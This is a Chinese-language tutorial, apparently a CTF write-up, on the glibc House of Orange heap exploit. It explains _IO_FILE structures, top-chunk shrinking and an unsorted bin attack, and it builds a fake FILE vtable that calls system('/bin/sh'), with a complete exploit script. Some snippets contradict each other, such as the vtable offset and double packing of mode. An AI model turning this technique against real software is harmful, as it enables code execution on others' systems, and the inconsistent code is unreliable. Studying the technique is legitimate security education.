House of Orange

1.IO_FILE

在看House of Orange的例子之前,我们首先了解一个Linux中的利用机制_IO_FILE

可以使用ptype /o struct _IO_FILE查看这个结构的定义,在pwndbg中可以直接写为dt FILE

pCdeqbR.png

_IO_FILE这个结构体中有一个_chain可以看到它的类型是一个struct _IO_FILE *,也就是说是一个指向其他_IO_FILE结构体的指针;在使用fopen之类的函数打开一个文件之后,实际上系统会在堆上创建一个这样的_IO_FILE结构体,并将其加入到一个单链表中,单链表的头部为_IO_list_all,这个单链表可以理解为是一个专门存储_IO_FILE的fastbin。另外vtable为虚函数表指针,实际上是为了与C++的streambuf类兼容才会出现的,但是这里兼容性上的问题,让GLIBC的file stream有可能存在虚函数表劫持的漏洞

另一方面,我们知道Linux的文件系统中一切皆为文件

每一个进程创建时都会有三个标准I/O File Stream:

  • stdin
  • stdout
  • stderr

即使程序没有输出、没有输入,它也会存在这三个标准的I/O

还是以前面gdb打开的/bin/sh为例,查看它的_IO_list_all可以看到上面的三项内容

分别就是这三个标准的I/O

pCdmiqA.png

这个程序甚至还没有运行起来,所以即使一个程序没有用到文件,我们仍然是有可能利用到I/O File Stream的

2.House of orange

原理

House of orange的核心思想主要是这样几部分:

  • 不使用free函数而得到一个free chunk
  • 伪造vtable

具体而言,获取free chunk的实现方法是修改Top Chunk。在House of Force中使用的方法是修改Top Chunk为一个特别大的值,之后我们申请一个特别大的chunk,循环一遍内存之后就可以访问到原本Top Chunk上方的内容

那如果将Top Chunk修改为一个很小的值呢?

pCdej56.png

假如我们把Top Chunk修改为一个很小的数,这时再申请一个更大的chunk

内存认为的Top Chunk是无法满足申请空间的需求的,因此堆管理器后续会再使用brk申请一块新的区域。

pCdebr9.png

正常来说堆管理器会直接将通过brk分配的新内存直接并入到Top Chunk中(即让Top Chunk变大)

但是由于我们改小了Top Chunk,堆管理器认为Top Chunk与堆的尾部并不相邻

因此会将原本的Top Chunk Free掉,这样一来,我们就没有通过Free函数得到了一个Free chunk

3.利用

首先,申请一块小的chunk,并修改top_chunk大小字段为一个很小的值。

1
2
small_malloc()
edit(b'Y'*0x18+p64(0x101))

pCdez8O.png

运行后可以看到Top Chunk被我们改写为了0x101

这时我们再申请一个 large chunk,会发现报错了。

报错的原因是:Top Chunkprev_inuser位一定需要为1,并且Top Chunk是否在一个页的边界结尾,即是否按页对齐了。这里显然没有按页对齐。由于在Top Chunk之前我们申请了一个0x20大小的chunk,因此这个大小我们需要伪造为0x1000-0x20,即

1
2
3
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()

这样,程序就能顺利通过并且不借助free函数得到了一块free chunk。

有了该free chunk我们就可以进行unsorted bin attack了,因此将bk值修改为_IO_list_all-0x10,这样unlink后_IO_list_all指针就会指向main_arena了。

pCdexPK.png

但是之后还是会报错,这里错误是因为main_arena被当作File Stream对待

我们希望触发的是_IO_OVERFLOW(fp,EOF)这一行

在这之前第一句进行了两个检查

1
fp->mode <=0 && fp-> _IO_write_ptr > fp-> _IO_write_base

pCdmPrd.png

这里被解析时_mode被认为是一个负数,并且这里write_base == wirte_ptr 所以不满足执行_IO_OVERFLOW条件,程序认为这个File Stream不需要被关闭,于是直接去看下一个FileStream了

下一个File Stream是去找了_chain这个对象指向的位置,我们可以看到这里仍然在main_arena

这里是main_arena+168,值为0x7ffff7dd4bc8的位置

pCdeOV1.png

对应main_arean结构图发现该位置正好是small bins 0x60的位置,所以在第一次_IO_flush_all_lockp执行失败后会顺着_chain找到这个0x60的smallbins进一步处理

那我们如果将一个伪造的FileStream数据填到这里就可以执行对应的内容了

如果我们将unsortedbin的大小伪造为0x60,在申请一个0x20大小的chunk时,这个unsortedbin就会被sort到这个0x60的smallbins中

也就是说我们直接在这个bins中伪造数据,就会被解析为FileStream了

1
2
3
4
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x61) + p64(0) + p64(libc.sym._IO_list_all - 0x10))

那么伪造File Stream的数据都需要填哪些呢?

pCdmpxe.png

wirte_end及之后的内容直到mode都是对我们没用的数据,直接先填0

这部分数据长度从0x300xc0,用p64(0)*18来填充,其余部分我们可以构造为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload = b"Y"*0x10

flags = b"Y"*0x8

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)

payload = payload + flags
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + p32(mode) + p32(0) + p64(0)*2

以上内容就构造完毕了_IO_FILE结构,但是关键的vtable指针还没有修改

pCdmCKH.png

可以发现,overflow位于vtable的偏移为24位置处,因此我们需要向该位置填入system的地址。那么计算一下vtable的值,从heap开始的位置,首先加上是0x20大小的一个small chunk,加上0xd8大小的整个伪造的_IO_FILE结构减去重合的8字节,最后是减去overflow函数的地址偏移24即0x18

1
2
3
4
vtable = heap + 0x20 + 0xd8 - 0x8 - 0x18

payload = payload + p32(mode) + p32(0) + p64(0) + p64(overflow)
payload = payload + p64(vtable)

最后就是overflow的值了

这里有两个选择,一是可以直接填写一个one_gadget,另一个简单方法就是使用system(“/bin/sh”),实际上调用的参数是fp,也就是最开始的flags,因此可以修改flags为”/bin/sh”。

因此,完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#----- 修改Top Chunk得到一个Free chunk
small_malloc()
edit(b"Y"*0x18 + p64(0x1000-0x20+0x1))
large_malloc()

#-----伪造IO_FILE劫持vtable
payload = b"Y"*0x10
flag = b'/bin/sh\x00'

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)
overflow = p64(libc.sym.system)

payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable

edit(payload)

#-----触发操作让unsortedbin被sort
small_malloc()